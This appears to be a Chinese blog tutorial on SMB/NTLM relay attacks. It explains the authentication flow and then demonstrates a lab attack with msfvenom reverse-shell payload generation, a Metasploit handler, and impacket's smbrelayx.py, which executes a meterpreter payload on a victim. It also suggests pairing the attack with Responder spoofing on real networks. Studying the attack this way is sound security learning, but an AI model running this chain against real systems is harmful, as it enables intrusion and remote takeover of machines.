Smb重放攻击 [Smb中间人]
0x01 在演示smb重放攻击之前,我们还是需要先搞清楚ntlm的基本认证过程,因为smb登录基于这个,正常情况下,ntlm的简要认证详细流程如下:
1
client端 <-----> server端
1 | 1,正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地 |
0x02 下面,我们就来简单再现一下smb的整个重放攻击过程:1
client端 <-----> 攻击者 <-----> server端
和上面的拓扑基本一致,只不过在此时,在client端和server端中间多了个攻击者,但双方在整个通信过程中都并不知道攻击者的存在,此时,我们本来正常的认证过程就变成了下面的样子:1
2
3
4
5
61,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了
0x03 接着就来简单模拟下如何利用这种一攻击手法:1
2
3
4首先,准备好三台机器,且在同一内网中,且已确保它们之间的通信没有任何问题
受害者机器[win2008R2 en] ip: 192.168.3.125
攻击者机器[ubuntu 16.04 LTS en] ip: 192.168.3.136
第三方机器[win2008R2 cn] ip: 192.168.3.23
我们最终要达成的目的,如下:1
通过smb重放攻击,获取目标机器(192.168.3.125)的meterpreter
在攻击者的机器上准备好下面的东西,生成并监听我们的马,下载安装impacket:1
2
3
4
5
6
7# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=1234 -f exe -o /home/tools/shell.exe
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 1234
msf > set lhost 192.168.3.136
msf > exploit -j
1 | # pip install pycrypto 安装依赖的加密库 |
在第三方机器上执行如下命令,向攻击者传送smb流量,注意,我这里的账号密码其实就是192.168.3.125正确的系统账号密码:1
# net use \\192.168.3.136\c$ "lala!@#45" /user:"administrator"
此时,当我们再回到攻击机上时就可以看到,当别人net use到攻击机上时,攻击者很轻易就捕捉到了smb 的登录凭证hash,然后,它又接着拿着这个hash到192.168.3.125[也就是我们的目标机器]去尝试登录,其实这就是所谓的重放,一旦登录成功,就会自动执行我们的马[类似我们用wmic远程执行代码]1
# python smbrelayx.py -h 192.168.3.125 -e /home/tools/shell.exe
可以看到,当我们重放登录成功,文件就会被正常执行,meterpreter亦被正常弹回
我们现在可以再试下,如果此时net use的密码不对,又会出现什么样的状况,很显然,下面的结果已经说的很清楚了,尝试在192.168.3.125上重放时失败了,原因也已经很清楚了,密码不对,马自然也就执行不了,因为根本没法wmic1
net use \\192.168.3.136\c$ "a!@#45" /user:"administrator"
过程中需要注意的一些点:
你可能一直在疑惑的是,受害者怎么会自己傻到net use
到攻击者的机器上呢,没错,正常情况下肯定不会,如果想让同内网下别的机器上的流量流过自己,无非就是通过欺骗,因为smbrelayx本身并没有带类似的功能,所以,它并不能自动抓取内网中的所有smb流量,如果想让所有的流量都自动流过攻击者的机器,可能还需要配合Responder来一起实现,这里只是为了给大家看下攻击后的效果,所以,我的net use 就直接指向了攻击机,这样一来smb流量自然就能流过它[攻击机]了,当我们直接net use到攻击机时,其实我们的smb hash也会一并发送给它,然后脚本会拿着这个hash到目标机器上去认证,认证成功后即可执行我们的马,此时meterpreter正常弹回,如果认证失败,则不进行任何操作,注意,因为我这里只是测试,实际中你是几乎不可能指望别人直接net use到攻击机上的,还是那句话,这就需要你配合欺骗来一起利用,让所有的smb流量都经过你,然后抓取里面的登录凭证挨个到目标机器上去重放
小结:
单从攻击的原理上来讲,其实非常简单,也并非什么新技术,类似的重放不仅仅适用于内网,web也同样适用,言辞比较粗糙,只是想把原理尽量跟大家说明白,既然已经有人帮我们实现了这样的脚本,我们就省的自己重复造轮子了,后期还会单独说明如何配合Responder全自动定向攻击特定内网机器,细心的朋友可能会发现,smb中间人,似乎跟,hash传递,票据窃取……都是非常类似的攻击手法,至于漏洞危害个人觉得还是比较大的,尤其是在windows内网中[比如域],因为它不是靠漏洞来攻击的,基于这个思路演变出来的攻击手法其实还有非常多,任何能产生smb登录的条件你甚至都可以利用,篇幅原因就先说到这里吧,个人理解可能比较有限,欢迎大家一起来深入讨论,始终坚信,抛砖才能引玉